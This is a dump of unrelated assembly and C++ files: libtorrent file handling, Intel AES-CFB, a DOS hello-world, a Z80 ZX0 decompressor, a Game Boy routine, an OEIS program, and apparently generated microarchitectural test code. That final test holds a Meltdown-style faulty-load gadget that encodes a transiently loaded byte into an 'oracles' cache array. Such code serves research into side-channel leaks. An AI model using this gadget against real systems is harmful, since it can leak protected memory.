file_set::iterator begin = m_files.lower_bound(std::make_pair(st, 0));
file_set::iterator end = m_files.upper_bound(std::make_pair(st, std::numeric_limits<int>::max()));
std::vector<file_handle> to_close;
while (begin != end)
{
to_close.push_back(begin->second.file_ptr);
m_files.erase(begin++);
}
l.unlock();
// the files are closed here while the lock is not held
}
#if TORRENT_USE_ASSERTS
void file_pool::mark_deleted(file_storage const& fs)
{
mutex::scoped_lock l(m_mutex);
m_deleted_storages.emplace_back(fs.name()
, static_cast<void const*>(&fs));
if(m_deleted_storages.size() > 100)
m_deleted_storages.erase(m_deleted_storages.begin());
}
bool file_pool::assert_idle_files(void* st) const
{
mutex::scoped_lock l(m_mutex);
for (file_set::const_iterator i = m_files.begin();
i != m_files.end(); ++i)
{
if (i->first.first == st && !i->second.file_ptr.unique())
return false;
}
return true;
}
#endif
void file_pool::resize(int size)
{
// these are destructed _after_ the mutex is released
std::vector<file_handle> defer_destruction;
mutex::scoped_lock l(m_mutex);
TORRENT_ASSERT(size > 0);
if (size == m_size) return;
m_size = size;
if (int(m_files.size()) <= m_size) return;
// close the least recently used files
while (int(m_files.size()) > m_size)
defer_destruction.push_back(remove_oldest(l));
}
void file_pool::close_oldest()
{
mutex::scoped_lock l(m_mutex);
file_set::iterator i = std::min_element(m_files.begin(), m_files.end()
, boost::bind(&lru_file_entry::opened, boost::bind(&file_set::value_type::second, _1))
< boost::bind(&lru_file_entry::opened, boost::bind(&file_set::value_type::second, _2)));
if (i == m_files.end()) return;
file_handle file_ptr = i->second.file_ptr;
m_files.erase(i);
// closing a file may be long running operation (mac os x)
l.unlock();
file_ptr.reset();
l.lock();
}
}
|
;;
;; Copyright (c) 2017-2018, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
%include "os.asm"
%include "memcpy.asm"
;;; Routine to do 128 bit CFB AES encrypt/decrypt operations on one block only.
;;; It processes only one buffer at a time.
;;; It is designed to manage partial blocks of DOCSIS 3.1 SEC BPI
;; In System V AMD64 ABI
;; calle saves: RBX, RBP, R12-R15
;; Windows x64 ABI
;; calle saves: RBX, RBP, RDI, RSI, RSP, R12-R15
;;
;; Registers: RAX RBX RCX RDX RBP RSI RDI R8 R9 R10 R11 R12 R13 R14 R15
;; -----------------------------------------------------------
;; Windows clobbers: RAX R9 R10 R11
;; Windows preserves: RBX RCX RDX RBP RSI RDI R8 R12 R13 R14 R15
;; -----------------------------------------------------------
;; Linux clobbers: RAX R9 R10
;; Linux preserves: RBX RCX RDX RBP RSI RDI R8 R11 R12 R13 R14 R15
;; -----------------------------------------------------------
;;
;; Linux/Windows clobbers: xmm0
;;
%ifdef LINUX
%define arg1 rdi
%define arg2 rsi
%define arg3 rdx
%define arg4 rcx
%define arg5 r8
%else
%define arg1 rcx
%define arg2 rdx
%define arg3 r8
%define arg4 r9
%define arg5 [rsp + 5*8]
%endif
%define OUT arg1
%define IN arg2
%define IV arg3
%define KEYS arg4
%ifdef LINUX
%define LEN arg5
%else
%define LEN2 arg5
%define LEN r11
%endif
%define TMP0 rax
%define TMP1 r10
%define PTR0 rsp + _buffer
%define XDATA xmm0
section .text
struc STACK
_buffer: resq 2
_rsp_save: resq 1
endstruc
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; void aes_cfb_128_one(void *out, void *in, void *iv, void *keys)
;; arg 1: OUT : addr to put clear/cipher text out
;; arg 2: IN : addr to take cipher/clear text from
;; arg 3: IV : initialization vector
;; arg 4: KEYS: pointer to expanded keys structure (16 byte aligned)
;; arg 5: LEN: length of the text to encrypt/decrypt (valid range is 0 to 16)
;;
;; AES CFB128 one block encrypt/decrypt implementation.
;; The function doesn't update IV. The result of operation can be found in OUT.
;;
;; It is primarly designed to process partial block of
;; DOCSIS 3.1 AES Packet PDU Encryption (I.10)
;;
;; It process up to one block only (up to 16 bytes).
;;
;; It makes sure not to read more than LEN bytes from IN and
;; not to store more than LEN bytes to OUT.
MKGLOBAL(aes_cfb_128_one_sse,function,)
align 32
aes_cfb_128_one_sse:
%ifndef LINUX
mov LEN, LEN2
%endif
mov rax, rsp
sub rsp, STACK_size
and rsp, -16
mov [rsp + _rsp_save], rax
test LEN, 16
jz copy_in_lt16
movdqu XDATA, [IN]
movdqa [PTR0], XDATA
jmp copy_in_end
copy_in_lt16:
memcpy_sse_16 PTR0, IN, LEN, TMP0, TMP1
copy_in_end:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
movdqu XDATA, [IV] ; IV (or next to last block)
pxor XDATA, [KEYS + 16*0] ; 0. ARK
aesenc XDATA, [KEYS + 16*1] ; 1. ENC
aesenc XDATA, [KEYS + 16*2] ; 2. ENC
aesenc XDATA, [KEYS + 16*3] ; 3. ENC
aesenc XDATA, [KEYS + 16*4] ; 4. ENC
aesenc XDATA, [KEYS + 16*5] ; 5. ENC
aesenc XDATA, [KEYS + 16*6] ; 6. ENC
aesenc XDATA, [KEYS + 16*7] ; 7. ENC
aesenc XDATA, [KEYS + 16*8] ; 8. ENC
aesenc XDATA, [KEYS + 16*9] ; 9. ENC
aesenclast XDATA, [KEYS + 16*10] ; 10. ENC
pxor XDATA, [PTR0] ; plaintext/ciphertext XOR block cipher encryption
test LEN, 16
jz copy_out_lt16
movdqu [OUT], XDATA
jmp copy_out_end
copy_out_lt16:
movdqa [PTR0], XDATA
memcpy_sse_16 OUT, PTR0, LEN, TMP0, TMP1
copy_out_end:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov rsp, [rsp + _rsp_save] ; original SP
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
; For this program to work, we need to innitate a DOS (Disk Operating System) interrupt, specifically int 21h
; Most of the general functions and services offered by DOS are implemented through this interrupt
; See the full list of all 21h dos function codes here: http://spike.scu.edu.au/~barry/interrupts.html
; 1) This org 100h defines where the machine code is going to be placed in memory.
; As for org 100h, it means it deals with 80x86 COM program format (COMMAND)
; 2) here we move the DOS interrupt function code 09h into the register ah, if we look at the 21h interrupt codes, we see that 09h
; translates to WRITE STRING TO STANDARD OUTPUT or <<stdout<<. So we are saying output the following string called message
; 3) offset is here so that it reserves for a variable, move to register dx,
; symbol '$' indicates that it's the end of the string
; 4) we place this here at the end to initiate the 21h DOS interrupt, and we put it at every end
; 5) if we look at the 21h interrupt codes we see that the code 4ch translates to "EXIT" - TERMINATE WITH RETURN CODE.
; we override the ax register higher with the exit command and the lower with 00
; db = define byte - allocates 1 byte
; dw = define word - allocates 2 bytes
; dd = define doubleword - allocates 4 bytes
; dq = define quadword - allocates 8 bytes
; dt = define ten bytes - allocates 10 bytes
; 1)
.model tiny
.code
org 100h
main proc near
; 2)
mov ah,09h
; 3)
mov dx,offset message
; 4)
int 21h
; 5)
mov ah,4ch
mov al,00
int 21h
endp ; end program
message db "Hello World$" ; here we say the variable message is db string and allocate 1 byte to it
end main |
; -----------------------------------------------------------------------------
; ZX0 decoder by Einar Saukas & introspec
; "Mega" version (677 bytes, 28% faster) - BACKWARDS VARIANT
; -----------------------------------------------------------------------------
; Parameters:
; HL: last source address (compressed data)
; DE: last destination address (decompressing)
; -----------------------------------------------------------------------------
dzx0_mega_back:
ld bc, 1 ; preserve default offset 1
ld (dzx0mb_last_offset+1), bc
dec c
jr dzx0mb_literals0
dzx0mb_new_offset6:
inc c
add a, a ; obtain offset MSB
jp nc, dzx0mb_new_offset5
add a, a
rl c
add a, a
jp nc, dzx0mb_new_offset3
add a, a
rl c
add a, a
jp nc, dzx0mb_new_offset1
dzx0mb_elias_offset1:
add a, a
rl c
rl b
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp c, dzx0mb_elias_offset7
dzx0mb_new_offset7:
dec b
ret z ; check end marker
dec c ; adjust for positive offset
ld b, c
ld c, (hl) ; obtain offset LSB
dec hl
srl b ; last offset bit becomes first length bit
rr c
inc bc
ld (dzx0mb_last_offset+1), bc ; preserve new offset
ld bc, 1
jp nc, dzx0mb_length7 ; obtain length
add a, a
rl c
add a, a
jp nc, dzx0mb_length5
add a, a
rl c
add a, a
jp nc, dzx0mb_length3
dzx0mb_elias_length3:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_length1
dzx0mb_length1:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
inc c
ldd ; copy one more from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr c, dzx0mb_new_offset0
dzx0mb_literals0:
inc c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a ; obtain length
jp nc, dzx0mb_literals7
add a, a
rl c
add a, a
jp nc, dzx0mb_literals5
add a, a
rl c
add a, a
jp nc, dzx0mb_literals3
dzx0mb_elias_literals3:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_literals1
dzx0mb_literals1:
lddr ; copy literals
add a, a ; copy from last offset or new offset?
jr c, dzx0mb_new_offset0
inc c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a ; obtain length
jp nc, dzx0mb_reuse7
add a, a
rl c
add a, a
jp nc, dzx0mb_reuse5
add a, a
rl c
add a, a
jp nc, dzx0mb_reuse3
dzx0mb_elias_reuse3:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_reuse1
dzx0mb_reuse1:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr nc, dzx0mb_literals0
dzx0mb_new_offset0:
inc c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a ; obtain offset MSB
jp nc, dzx0mb_new_offset7
add a, a
rl c
add a, a
jp nc, dzx0mb_new_offset5
add a, a
rl c
add a, a
jp nc, dzx0mb_new_offset3
dzx0mb_elias_offset3:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_offset1
dzx0mb_new_offset1:
dec b
ret z ; check end marker
dec c ; adjust for positive offset
ld b, c
ld c, (hl) ; obtain offset LSB
dec hl
srl b ; last offset bit becomes first length bit
rr c
inc bc
ld (dzx0mb_last_offset+1), bc ; preserve new offset
ld bc, 1
jp nc, dzx0mb_length1 ; obtain length
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_length7
add a, a
rl c
add a, a
jp nc, dzx0mb_length5
dzx0mb_elias_length5:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_length3
dzx0mb_length3:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
inc c
ldd ; copy one more from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr c, dzx0mb_new_offset2
dzx0mb_literals2:
inc c
add a, a ; obtain length
jp nc, dzx0mb_literals1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_literals7
add a, a
rl c
add a, a
jp nc, dzx0mb_literals5
dzx0mb_elias_literals5:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_literals3
dzx0mb_literals3:
lddr ; copy literals
add a, a ; copy from last offset or new offset?
jr c, dzx0mb_new_offset2
inc c
add a, a ; obtain length
jp nc, dzx0mb_reuse1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_reuse7
add a, a
rl c
add a, a
jp nc, dzx0mb_reuse5
dzx0mb_elias_reuse5:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_reuse3
dzx0mb_reuse3:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr nc, dzx0mb_literals2
dzx0mb_new_offset2:
inc c
add a, a ; obtain offset MSB
jp nc, dzx0mb_new_offset1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_new_offset7
add a, a
rl c
add a, a
jp nc, dzx0mb_new_offset5
dzx0mb_elias_offset5:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_offset3
dzx0mb_new_offset3:
dec b
ret z ; check end marker
dec c ; adjust for positive offset
ld b, c
ld c, (hl) ; obtain offset LSB
dec hl
srl b ; last offset bit becomes first length bit
rr c
inc bc
ld (dzx0mb_last_offset+1), bc ; preserve new offset
ld bc, 1
jp nc, dzx0mb_length3 ; obtain length
add a, a
rl c
add a, a
jp nc, dzx0mb_length1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_length7
dzx0mb_elias_length7:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_length5
dzx0mb_length5:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
inc c
ldd ; copy one more from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr c, dzx0mb_new_offset4
dzx0mb_literals4:
inc c
add a, a ; obtain length
jp nc, dzx0mb_literals3
add a, a
rl c
add a, a
jp nc, dzx0mb_literals1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_literals7
dzx0mb_elias_literals7:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_literals5
dzx0mb_literals5:
lddr ; copy literals
add a, a ; copy from last offset or new offset?
jr c, dzx0mb_new_offset4
inc c
add a, a ; obtain length
jp nc, dzx0mb_reuse3
add a, a
rl c
add a, a
jp nc, dzx0mb_reuse1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_reuse7
dzx0mb_elias_reuse7:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_reuse5
dzx0mb_reuse5:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr nc, dzx0mb_literals4
dzx0mb_new_offset4:
inc c
add a, a ; obtain offset MSB
jp nc, dzx0mb_new_offset3
add a, a
rl c
add a, a
jp nc, dzx0mb_new_offset1
add a, a
rl c
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp nc, dzx0mb_new_offset7
dzx0mb_elias_offset7:
add a, a
rl c
rl b
add a, a
jp c, dzx0mb_elias_offset5
dzx0mb_new_offset5:
dec b
ret z ; check end marker
dec c ; adjust for positive offset
ld b, c
ld c, (hl) ; obtain offset LSB
dec hl
srl b ; last offset bit becomes first length bit
rr c
inc bc
ld (dzx0mb_last_offset+1), bc ; preserve new offset
ld bc, 1
jp nc, dzx0mb_length5 ; obtain length
add a, a
rl c
add a, a
jp nc, dzx0mb_length3
add a, a
rl c
add a, a
jp nc, dzx0mb_length1
dzx0mb_elias_length1:
add a, a
rl c
rl b
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp c, dzx0mb_elias_length7
dzx0mb_length7:
push hl ; preserve source
ld hl, (dzx0mb_last_offset+1)
add hl, de ; calculate destination - offset
lddr ; copy from offset
inc c
ldd ; copy one more from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jp c, dzx0mb_new_offset6
dzx0mb_literals6:
inc c
add a, a ; obtain length
jp nc, dzx0mb_literals5
add a, a
rl c
add a, a
jp nc, dzx0mb_literals3
add a, a
rl c
add a, a
jp nc, dzx0mb_literals1
dzx0mb_elias_literals1:
add a, a
rl c
rl b
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp c, dzx0mb_elias_literals7
dzx0mb_literals7:
lddr ; copy literals
add a, a ; copy from last offset or new offset?
jp c, dzx0mb_new_offset6
inc c
add a, a ; obtain length
jp nc, dzx0mb_reuse5
add a, a
rl c
add a, a
jp nc, dzx0mb_reuse3
add a, a
rl c
add a, a
jp nc, dzx0mb_reuse1
dzx0mb_elias_reuse1:
add a, a
rl c
rl b
ld a, (hl) ; load another group of 8 bits
dec hl
add a, a
jp c, dzx0mb_elias_reuse7
dzx0mb_reuse7:
push hl ; preserve source
dzx0mb_last_offset:
ld hl, 0
add hl, de ; calculate destination - offset
lddr ; copy from offset
pop hl ; restore source
add a, a ; copy from literals or new offset?
jr nc, dzx0mb_literals6
jp dzx0mb_new_offset6
; -----------------------------------------------------------------------------
|
HandleStoneQueue::
ldh a, [hROMBank]
push af
call SwitchToMapScriptsBank
call .WarpAction
pop bc
ld a, b
rst Bankswitch
ret
.WarpAction:
ld hl, OBJECT_MAP_OBJECT_INDEX
add hl, de
ld a, [hl]
cp $ff
ret nc
ld l, a
push hl
call .IsObjectOnWarp
pop hl
ret nc
ld d, a
ld e, l
call .IsObjectInStoneTable
ret nc
call CallMapScript
farcall EnableScriptMode
scf
ret
.IsObjectOnWarp:
push de
ld hl, OBJECT_NEXT_MAP_X
add hl, de
ld a, [hl]
ld hl, OBJECT_NEXT_MAP_Y
add hl, de
ld e, [hl]
sub 4
ld d, a
ld a, e
sub 4
ld e, a
call .check_on_warp
pop de
ret
.check_on_warp
ld hl, wCurMapWarpsPointer
ld a, [hli]
ld h, [hl]
ld l, a
ld a, [wCurMapWarpCount]
and a
ret z
.loop
push af
ld a, [hl]
cp e
jr nz, .not_on_warp
inc hl
ld a, [hld]
cp d
jr z, .found_warp
.not_on_warp
ld a, WARP_EVENT_SIZE
add l
ld l, a
jr nc, .no_carry
inc h
.no_carry
pop af
dec a
jr nz, .loop
and a
ret
.found_warp
pop af
ld d, a
ld a, [wCurMapWarpCount]
sub d
inc a
scf
ret
.IsObjectInStoneTable:
inc e
ld hl, CMDQUEUE_ADDR
add hl, bc
ld a, [hli]
ld h, [hl]
ld l, a
.loop2
ld a, [hli]
cp $ff
ret z
cp d
jr nz, .next_inc3
ld a, [hli]
cp e
jr nz, .next_inc2
ld a, [hli]
ld h, [hl]
ld l, a
scf
ret
.next_inc3
inc hl
.next_inc2
inc hl
inc hl
jr .loop2
|
; A106565: Let M={{0, 5}, {1, 5}}, v[n]=M.v[n-1]; then a(n) =v[n][[1]].
; 0,5,25,150,875,5125,30000,175625,1028125,6018750,35234375,206265625,1207500000,7068828125,41381640625,242252343750,1418169921875,8302111328125,48601406250000,284517587890625,1665594970703125
mov $1,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,$2
mul $3,5
lpe
mov $0,-6
mov $4,$3
add $4,7
add $0,$4
sub $0,1
mov $1,$0
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r15
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xfa21, %r9
nop
nop
nop
nop
nop
and %rcx, %rcx
movb $0x61, (%r9)
nop
nop
nop
nop
and $25362, %rsi
lea addresses_normal_ht+0x1dd5, %rsi
lea addresses_normal_ht+0xd56, %rdi
nop
and %r15, %r15
mov $76, %rcx
rep movsb
cmp %rcx, %rcx
lea addresses_A_ht+0xef31, %rax
nop
xor $10049, %rbp
mov (%rax), %ecx
nop
nop
nop
nop
nop
xor $12742, %rcx
lea addresses_normal_ht+0xb091, %r9
nop
nop
nop
nop
nop
cmp %r15, %r15
movw $0x6162, (%r9)
nop
dec %rbp
lea addresses_WC_ht+0x16831, %r9
nop
add %rsi, %rsi
movups (%r9), %xmm5
vpextrq $0, %xmm5, %rbp
nop
inc %rsi
lea addresses_WT_ht+0xa3bb, %rcx
nop
nop
and $13325, %rsi
and $0xffffffffffffffc0, %rcx
movaps (%rcx), %xmm1
vpextrq $0, %xmm1, %r9
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_D_ht+0x64d7, %rax
nop
nop
nop
nop
nop
xor $25766, %rcx
mov (%rax), %r15d
inc %rax
lea addresses_WC_ht+0x4c11, %rbp
nop
nop
nop
nop
xor $15156, %r9
mov (%rbp), %r15w
add $63444, %r9
lea addresses_normal_ht+0x30b1, %r9
nop
and $40626, %rax
and $0xffffffffffffffc0, %r9
movaps (%r9), %xmm1
vpextrq $0, %xmm1, %rcx
cmp $3207, %rax
lea addresses_WC_ht+0xd671, %rdi
nop
inc %rsi
and $0xffffffffffffffc0, %rdi
vmovaps (%rdi), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %r9
nop
nop
nop
nop
add %r15, %r15
lea addresses_UC_ht+0xbfa1, %rdi
nop
xor $46259, %r9
mov $0x6162636465666768, %rbp
movq %rbp, (%rdi)
nop
nop
nop
sub $51705, %rcx
lea addresses_WC_ht+0x17001, %r15
dec %rdi
mov $0x6162636465666768, %rax
movq %rax, (%r15)
sub %rdi, %rdi
lea addresses_UC_ht+0x12031, %rsi
lea addresses_WT_ht+0x1ee71, %rdi
nop
nop
nop
nop
nop
xor $52062, %r11
mov $31, %rcx
rep movsb
nop
nop
nop
nop
inc %rcx
lea addresses_WT_ht+0x1c931, %r11
nop
cmp $50463, %rax
mov (%r11), %edi
add %r9, %r9
lea addresses_D_ht+0x1b431, %r15
clflush (%r15)
xor %r9, %r9
mov (%r15), %bp
nop
nop
nop
and %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
// REPMOV
lea addresses_normal+0x1b331, %rsi
lea addresses_WT+0x1869a, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
and %rax, %rax
mov $6, %rcx
rep movsl
nop
nop
nop
nop
xor $42971, %rdi
// Store
lea addresses_normal+0xded1, %r14
clflush (%r14)
nop
nop
nop
nop
and $4600, %rdx
mov $0x5152535455565758, %rsi
movq %rsi, (%r14)
nop
nop
nop
nop
cmp $29099, %rdi
// Store
lea addresses_US+0x4e31, %rdx
nop
nop
nop
sub $64511, %r14
mov $0x5152535455565758, %rcx
movq %rcx, %xmm4
vmovaps %ymm4, (%rdx)
nop
sub $52653, %r12
// Store
lea addresses_A+0x16631, %rax
nop
nop
nop
nop
dec %r14
movw $0x5152, (%rax)
nop
nop
sub %r12, %r12
// Faulty Load
mov $0xc2d2f0000000831, %rax
nop
xor %rsi, %rsi
mov (%rax), %r12
lea oracles, %rcx
and $0xff, %r12
shlq $12, %r12
mov (%rcx,%r12,1), %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 1, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'00': 1142}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 